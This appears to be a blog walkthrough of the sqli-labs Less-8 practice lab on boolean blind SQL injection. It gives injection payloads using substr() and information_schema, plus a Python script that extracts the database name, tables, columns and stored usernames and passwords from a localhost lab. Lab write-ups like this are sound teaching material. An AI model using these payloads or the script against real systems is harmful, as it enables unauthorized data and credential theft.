当前位置:网站首页>sqlilabs less-8
sqlilabs less-8
2022-07-01 14:06:00 【It's always late at night.】
First judge whether it is a number or a character 

It's still OK to add characters to numbers , It's character type . Try again to construct . Because this time, it will only return whether it is correct or not , So consider blind injection .
First judge the length of the database 
Then judge the database name

It used to
substr( Content ,n,m) From the content of the first n Bit interception m individual length() There is another key sql sentence
?id=1’ and
substr((select group_concat(table_name) from information_schema.tables
where table_schema =database() ),1,1)=‘u’–+
The workload is a little heavy , You can consider burp suite Or use a script
import requests
url = 'http://localhost/sqlilabs/Less-8/?id=1\''
datalens = 0
datanamee = ''
sign = "You are in..........."
tablename = ''
columnlist = ''
list1= ['id','username','password','user','currentconnections','totalconnections']
valuelist = ''
# Database length
for i in range(10):
rl = str(i)
lenurl = url + "and length(database())=" + rl + "--+"
r = requests.get(lenurl)
if sign in r.text:
print("database len " + str(i))
datalens = i + 1
# Database name
wordlist = "abcdefghijklmnopqrstuvwxyz"
for i in range(1,datalens):
dataname = url + "and substr(database()," + str(i) + "," +"1)"
for w in wordlist:
datanames = dataname + "=" + "'" + w + "'" + "--+"
r = requests.get(datanames)
if sign in r.text:
datanamee += w
print("database name " + datanamee)
# Database table name
wordlist2 = "abcdefghijklmnopqrstuvwxyz,"
for i in range(1,100):
tableurl1 = url + " and substr((select group_concat(table_name) from information_schema.tables where table_schema = database())," + str(i) + ",1)="
for v in wordlist2:
tableurl = tableurl1 + "\'" + v + "\'" + "--+"
r = requests.get(tableurl)
if sign in r.text:
tablename += v
print("database table " + tablename)
# Database field name
for i in range(1,100):
columnurl1 = url + " and substr((select group_concat(column_name) from information_schema.columns where table_name = \'users\' )," + str(i) + ",1)="
for v in wordlist2:
columnurl = columnurl1 + "\'" + v + "\'" + "--+"
r = requests.get(columnurl)
if sign in r.text:
columnlist += v
print("database colum " + columnlist)
print(list1)
# Database tuple
wordlist2 = "0123456789abcdefghijklmnopqrstuvwxyz,=-_/\\."
for n in range(6):
for i in range(1,200):
valueurl1 = url + " and substr((select group_concat(" + list1[n] + ") from users )," + str(i) + ",1)="
for v in wordlist2:
valueurl = valueurl1 + "\'" + v + "\'" + "--+"
r = requests.get(valueurl)
if sign in r.text:
valuelist += v
print("database " + list1[n] + ' ' + valuelist)
valuelist = ''

There for all to see , Bloggers are too weak to program , To be improved .
边栏推荐
- 那个很努力的学生,高考失败了……别慌!你还有一次逆袭机会!
- Machine learning summary (I): linear regression, ridge regression, Lasso regression
- 百度上找的期货公司安全吗?期货公司怎么确定正规
- 日志中打印统计信息的方案
- Word2vec training Chinese word vector
- [sword finger offer] 55 - I. depth of binary tree
- Admire, Ali female program undercover more than 500 black production groups
- What "hard core innovations" does Intel have in the first half of 2022? Just look at this picture!
- Explain IO multiplexing, select, poll, epoll in detail
- Etcd summary mechanism and usage scenarios
猜你喜欢

The best landing practice of cave state in an Internet ⽹⾦ financial technology enterprise

【IoT毕设.上】STM32+机智云AIoT+实验室安全监控系统

04 redis source code data structure dictionary

算网融合赋能行业转型,移动云点亮数智未来新路标

2022上半年英特尔有哪些“硬核创新”?看这张图就知道了!

That hard-working student failed the college entrance examination... Don't panic! You have another chance to counter attack!

AnimeSR:可学习的降质算子与新的真实世界动漫VSR数据集

用对场景,事半功倍!TDengine 的窗口查询功能及使用场景全介绍

QT community management system

Play with grpc - communication between different programming languages
随机推荐
A new book by teacher Zhang Yujin of Tsinghua University: 2D vision system and image technology (five copies will be sent at the end of the article)
App automation testing Kaiyuan platform appium runner
04 redis source code data structure dictionary
2022上半年英特尔有哪些“硬核创新”?看这张图就知道了!
深度合作 | 涛思数据携手长虹佳华为中国区客户提供 TDengine 强大企业级产品与完善服务保障
Après avoir été licencié pendant trois mois, l'entrevue s'est effondrée et l'état d'esprit a commencé à s'effondrer.
QT社团管理系统
Detailed explanation of leetcode reconstruction binary tree [easy to understand]
Station B was scolded on the hot search..
2. Sensor size "recommended collection"
小程序- view中多个text换行
当你真的学会DataBinding后,你会发现“这玩意真香”!
Open source internship experience sharing: openeuler software package reinforcement test
The integration of computing and Internet enables the transformation of the industry, and the mobile cloud lights up a new roadmap for the future of digital intelligence
2022 · 让我带你Jetpack架构组件从入门到精通 — Lifecycle
玩转gRPC—不同编程语言间通信
Learning to use livedata and ViewModel will make it easier for you to write business
Go整合Logrus实现日志打印
【 剑指 Offer】55 - I. 二叉树的深度
程序设计的基本概念